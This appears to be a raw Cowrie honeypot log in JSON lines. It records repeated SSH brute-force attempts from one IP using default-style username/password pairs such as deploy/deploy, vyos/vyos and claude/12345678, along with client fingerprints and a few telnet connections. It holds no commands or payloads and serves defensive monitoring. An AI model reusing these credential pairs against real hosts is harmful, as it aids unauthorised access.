{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:53.778821Z","src_ip":"45.156.87.147","session":"9e3c91737cf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:54.873573Z","src_ip":"45.156.87.147","session":"9e3c91737cf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38550,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d6b2c2ea41d","protocol":"ssh","message":"New connection: 45.156.87.147:38550 (10.17.0.5:22) [session: 6d6b2c2ea41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:59.494227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:59.549323Z","src_ip":"45.156.87.147","session":"6d6b2c2ea41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:59.579648Z","src_ip":"45.156.87.147","session":"6d6b2c2ea41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:23:59.905047Z","src_ip":"45.156.87.147","session":"6d6b2c2ea41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:00.991209Z","src_ip":"45.156.87.147","session":"6d6b2c2ea41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38566,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb06b132c29e","protocol":"ssh","message":"New connection: 45.156.87.147:38566 (10.17.0.5:22) [session: bb06b132c29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:05.807379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:05.811505Z","src_ip":"45.156.87.147","session":"bb06b132c29e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:05.895364Z","src_ip":"45.156.87.147","session":"bb06b132c29e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:06.149451Z","src_ip":"45.156.87.147","session":"bb06b132c29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:07.234482Z","src_ip":"45.156.87.147","session":"bb06b132c29e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42868,"dst_ip":"10.17.0.5","dst_port":22,"session":"1956f0640185","protocol":"ssh","message":"New connection: 45.156.87.147:42868 (10.17.0.5:22) [session: 1956f0640185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:12.123250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:12.127674Z","src_ip":"45.156.87.147","session":"1956f0640185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:12.212321Z","src_ip":"45.156.87.147","session":"1956f0640185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:12.481440Z","src_ip":"45.156.87.147","session":"1956f0640185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:13.569348Z","src_ip":"45.156.87.147","session":"1956f0640185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42876,"dst_ip":"10.17.0.5","dst_port":22,"session":"678879965174","protocol":"ssh","message":"New connection: 45.156.87.147:42876 (10.17.0.5:22) [session: 678879965174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:18.024780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:18.118007Z","src_ip":"45.156.87.147","session":"678879965174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:18.122652Z","src_ip":"45.156.87.147","session":"678879965174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:18.501920Z","src_ip":"45.156.87.147","session":"678879965174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:19.586160Z","src_ip":"45.156.87.147","session":"678879965174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46850,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf2bc235f5e1","protocol":"ssh","message":"New connection: 45.156.87.147:46850 (10.17.0.5:22) [session: bf2bc235f5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:24.412243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:24.416674Z","src_ip":"45.156.87.147","session":"bf2bc235f5e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:24.500787Z","src_ip":"45.156.87.147","session":"bf2bc235f5e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:24.748070Z","src_ip":"45.156.87.147","session":"bf2bc235f5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:25.838294Z","src_ip":"45.156.87.147","session":"bf2bc235f5e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55462,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e44f16efebd","protocol":"ssh","message":"New connection: 45.156.87.147:55462 (10.17.0.5:22) [session: 4e44f16efebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:30.761440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:30.767784Z","src_ip":"45.156.87.147","session":"4e44f16efebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:30.849050Z","src_ip":"45.156.87.147","session":"4e44f16efebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:31.103559Z","src_ip":"45.156.87.147","session":"4e44f16efebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:32.193277Z","src_ip":"45.156.87.147","session":"4e44f16efebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55466,"dst_ip":"10.17.0.5","dst_port":22,"session":"6612423bff66","protocol":"ssh","message":"New connection: 45.156.87.147:55466 (10.17.0.5:22) [session: 6612423bff66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:36.890443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:36.893523Z","src_ip":"45.156.87.147","session":"6612423bff66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:36.979800Z","src_ip":"45.156.87.147","session":"6612423bff66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:37.233217Z","src_ip":"45.156.87.147","session":"6612423bff66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":33724,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90fe0133e90","protocol":"telnet","message":"New connection: 94.23.66.112:33724 (10.17.0.5:23) [session: f90fe0133e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:37.304342Z"}
{"eventid":"cowrie.session.closed","duration":0.008311271667480469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:37.312423Z","src_ip":"94.23.66.112","session":"f90fe0133e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:38.326580Z","src_ip":"45.156.87.147","session":"6612423bff66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":43796,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf348dbacbb","protocol":"telnet","message":"New connection: 102.37.220.188:43796 (159.203.135.109:23) [session: 8cf348dbacbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:42.429052Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39514,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b9079210a0e","protocol":"ssh","message":"New connection: 45.156.87.147:39514 (10.17.0.5:22) [session: 3b9079210a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:43.152764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:43.157107Z","src_ip":"45.156.87.147","session":"3b9079210a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:43.238965Z","src_ip":"45.156.87.147","session":"3b9079210a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:43.565154Z","src_ip":"45.156.87.147","session":"3b9079210a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.182","src_port":60016,"dst_ip":"10.17.0.5","dst_port":22,"session":"c61d70817b8e","protocol":"ssh","message":"New connection: 65.49.1.182:60016 (10.17.0.5:22) [session: c61d70817b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:44.442899Z"}
